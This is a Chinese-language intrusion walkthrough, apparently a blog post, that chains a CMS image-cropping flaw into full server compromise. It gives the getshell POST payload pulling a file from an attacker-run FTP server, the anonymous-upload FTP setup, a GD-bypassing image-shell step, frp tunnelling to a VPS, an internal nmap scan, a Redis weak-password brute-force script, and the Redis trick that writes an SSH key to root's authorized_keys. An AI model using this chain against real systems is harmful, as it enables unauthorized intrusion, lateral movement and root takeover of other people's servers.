前言
首先,这个站点有一个前台getshell的漏洞。


根据里面漏洞代码直接取post数据后缀作为后缀这一特性,且CMS支持FTP。
利用FTP上传图片,通过下载上传的正常图片(已被PHP的GD库渲染)之后,
利用脚本在图片中插入payload,
再次利用FTP上传达到GET Shell的目的
payload如下
POST /index.php?case=tool&act=cut_image
pic=1ftp://*.*.*.*/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
搭建FTP服务器
我这里使用ubantu进行搭建
安装VSFTPD
sudo apt-get install vsftpd
安装完成后启动VSFTPD服务
service vsftpd start
新建目录/home/uftp作为用户主目录
sudo mkdir /home/uftp,最后我搭建完,主目录不是这里,/srv/ftp,这个才是
新建用户uftp,制定用户主目录和所用shell,并设置密码
sudo useradd -d /home/uftp -s /bin/bash uftp
sudo passwd uftp
然后将目录/home/uftp的所属者和所属组都改为uftp
sudo chown uftp:uftp /home/uftp
新建文件/etc/vsftpd.user_list,用于存放允许访问ftp的用户
sudo vim /etc/vsftpd.user_list,添加用户uftp
最后设置匿名访问
vim /etc/vsftpd.conf
write_enable=YES
anonymous_enable=YES
anon_upload_enable=YES
anon_other_write_enable=YES
anon_world_readable_only=NO
重启vsftpd服务,假如不行则设置相应的权限
Getshell
步骤:
将一张比较大的图片上传到ftp,注意选图,避免踩坑
利用上述POC,将图片上传到目标服务器,上传成功之后再将图片保存下来
/index.php?case=tool&act=cut_image
pic=1ftp://*.*.*.*/*.jpg&w=228&h=146&x1=0&x2=228&y1=0&y2=146
保存图片之后,利用脚本在里面进行加shell,脚本如
exp.txt
放入有php环境中,运行:php exp.php *.jpg,即可得到绕过GD的图片马,再将其改为php文件进行上传
POST /index.php?case=tool&act=cut_image
pic=1ftp://*.*.*.*/*.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

反弹Shell
天下武功,无坚不摧,唯快不破,是时候祭出蚁剑了


这台机子是在内网,加上我也不会linux提权,只能代理出来看看内网有没有其他机子
我这里使用frp这一代理工具,将其上传到目标服务器

server_addr为VPS地址,port则是监听端口
配置好之后将其上传到目标,并chmod +x frpc,赋予执行权限
VPS中的

赋予执行权限,运行
蚁剑中运行frpc

Kali扫描内网
vim /etc/proxychains.conf

修改好之后进行保存,使用nmap进行扫描常见的端口进行探测
proxychains nmap -sT sV -Pn -n 172.20.0.1-255 -p 80,8080,445,3306,1433,7001,6379,9090,50000,50030,7002,3389,21,22

发现172.20.0.2这台服务器开放6379端口,可以尝试扫描其是否存在redis未授权访问等漏洞

1.py代码如下
#!/usr/bin/python3
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2019/9/2-17:35
"""
import socket
import sys
passwds = ['redis','root','oracle','password','[email protected]','abc123!','123456','admin','abc123']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print u"[INFO] connecting " + ip + u":" + port
s.connect((ip, int(port)))
print u"[INFO] connected "+ip+u":"+port+u" hacking..."
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"[HACKED] 未授权访问"
elif "Authentication" in result:
for passwd in passwds:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(passwd))
# print u"[HACKING] hacking to passwd --> "+passwd
result = s.recv(1024)
if 'OK' in result:
return u"[HACKED] 存在弱口令,密码:%s" % (passwd)
s.close()
except Exception, e:
if len(e.message) != 0:
print u"[ERROR] "+e.message
return u"[INFO] 目标Redis服务,暂不存在未授权和弱口令漏洞!"
if __name__ == '__main__':
ip=sys.argv[1]
# default Port
port="6379"
if len(sys.argv) >= 3:
port=sys.argv[2]
result = check(ip,port, timeout=10)
print result
if "HACKED" in result:
print u"[END] Start your hacking journey !!!"
kali安装redis
wget http://download.redis.io/releases/redis-2.8.3.tar.gz,下载
tar -zxvf redis-2.8.3.tar.gz,解压
cd redis-2.8.3/
make, 编译
redis漏洞利用
修改frpc.ini,将172.20.0.2的6379转发到VPS中的6379中

修改完成之后,重新启动代理
随后kali中生成一个公钥
ssh-keygen -t rsa

默认情况下,生成后在/root/.ssh 目录下,将生成的公钥的值写入目标服务器
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
查看是否生成

将这个文件写入进去
cat /tmp/foo.txt | /root/redis-2.8.3/src/redis-cli -h VPS -p 6379 -x set cracki

连接进去,将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys,通过 save 指令即可写入文件

最后再修改frpc.ini,进行转发22端口

重新启动frpc
ssh -p 669 [email protected] -i /root/.ssh/id_rsa

利用成功